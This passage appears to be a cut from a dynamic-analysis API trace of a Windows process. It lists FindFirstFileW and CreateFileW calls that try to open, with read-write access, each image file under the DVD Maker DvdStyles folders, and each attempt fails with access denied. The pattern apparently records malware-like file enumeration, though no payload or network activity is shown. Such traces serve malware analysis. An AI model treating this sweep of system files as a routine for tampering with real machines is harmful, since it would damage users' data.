Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.916] GetLastError () returned 0x5 [0152.916] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.917] GetProcessHeap () returned 0x2a0000 [0152.917] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.917] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.918] GetLastError () returned 0x5 [0152.918] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.918] GetLastError () returned 0x5 [0152.918] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.918] GetLastError () returned 0x5 [0152.919] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.919] GetLastError () returned 0x5 [0152.919] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.922] GetProcessHeap () returned 0x2a0000 [0152.922] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5738 | out: hHeap=0x2a0000) returned 1 [0152.922] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.922] GetLastError () returned 0x5 [0152.922] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.923] GetLastError () returned 0x5 [0152.923] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.923] GetLastError () returned 0x5 [0152.923] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.924] GetLastError () returned 0x5 [0152.924] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.924] GetLastError () returned 0x5 [0152.924] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.924] GetLastError () returned 0x5 [0152.924] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.924] GetLastError () returned 0x5 [0152.924] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.924] GetLastError () returned 0x5 [0152.925] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.925] GetLastError () returned 0x5 [0152.925] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.925] GetLastError () returned 0x5 [0152.925] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.925] GetLastError () returned 0x5 [0152.925] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.926] GetProcessHeap () returned 0x2a0000 [0152.927] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.927] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.929] GetProcessHeap () returned 0x2a0000 [0152.929] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0152.929] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.930] GetLastError () returned 0x5 [0152.930] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.931] GetLastError () returned 0x5 [0152.931] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.931] GetLastError () returned 0x5 [0152.931] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.931] GetLastError () returned 0x5 [0152.932] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.932] GetLastError () returned 0x5 [0152.933] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.933] GetLastError () returned 0x5 [0152.934] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.935] GetLastError () returned 0x5 [0152.935] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.936] GetLastError () returned 0x5 [0152.936] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.937] GetLastError () returned 0x5 [0152.937] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.938] GetLastError () returned 0x5 [0152.938] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.940] GetProcessHeap () returned 0x2a0000 [0152.940] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.942] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.945] GetProcessHeap () returned 0x2a0000 [0152.945] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5738 | out: hHeap=0x2a0000) returned 1 [0152.945] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.946] GetLastError () returned 0x5 [0152.946] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.946] GetLastError () returned 0x5 [0152.946] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.946] GetLastError () returned 0x5 [0152.946] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.947] GetLastError () returned 0x5 [0152.947] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.948] GetLastError () returned 0x5 [0152.948] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.948] GetLastError () returned 0x5 [0152.948] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.948] GetLastError () returned 0x5 [0152.948] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.949] GetLastError () returned 0x5 [0152.949] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.949] GetLastError () returned 0x5 [0152.949] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.950] GetLastError () returned 0x5 [0152.950] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.950] GetLastError () returned 0x5 [0152.950] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.950] GetLastError () returned 0x5 [0152.950] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.951] GetLastError () returned 0x5 [0152.951] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.951] GetLastError () returned 0x5 [0152.951] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.952] GetLastError () returned 0x5 [0152.952] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.952] GetLastError () returned 0x5 [0152.952] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.953] GetLastError () returned 0x5 [0152.953] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.954] GetProcessHeap () returned 0x2a0000 [0152.954] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.954] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.955] GetLastError () returned 0x5 [0152.955] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.955] GetLastError () returned 0x5 [0152.956] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.956] GetLastError () returned 0x5 [0152.956] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.956] GetLastError () returned 0x5 [0152.956] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.957] GetLastError () returned 0x5 [0152.957] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.957] GetLastError () returned 0x5 [0152.957] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.957] GetLastError () returned 0x5 [0152.958] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.960] GetProcessHeap () returned 0x2a0000 [0152.960] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0152.960] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.960] GetLastError () returned 0x5 [0152.960] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.960] GetLastError () returned 0x5 [0152.960] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.961] GetLastError () returned 0x5 [0152.961] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.961] GetLastError () returned 0x5 [0152.962] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program 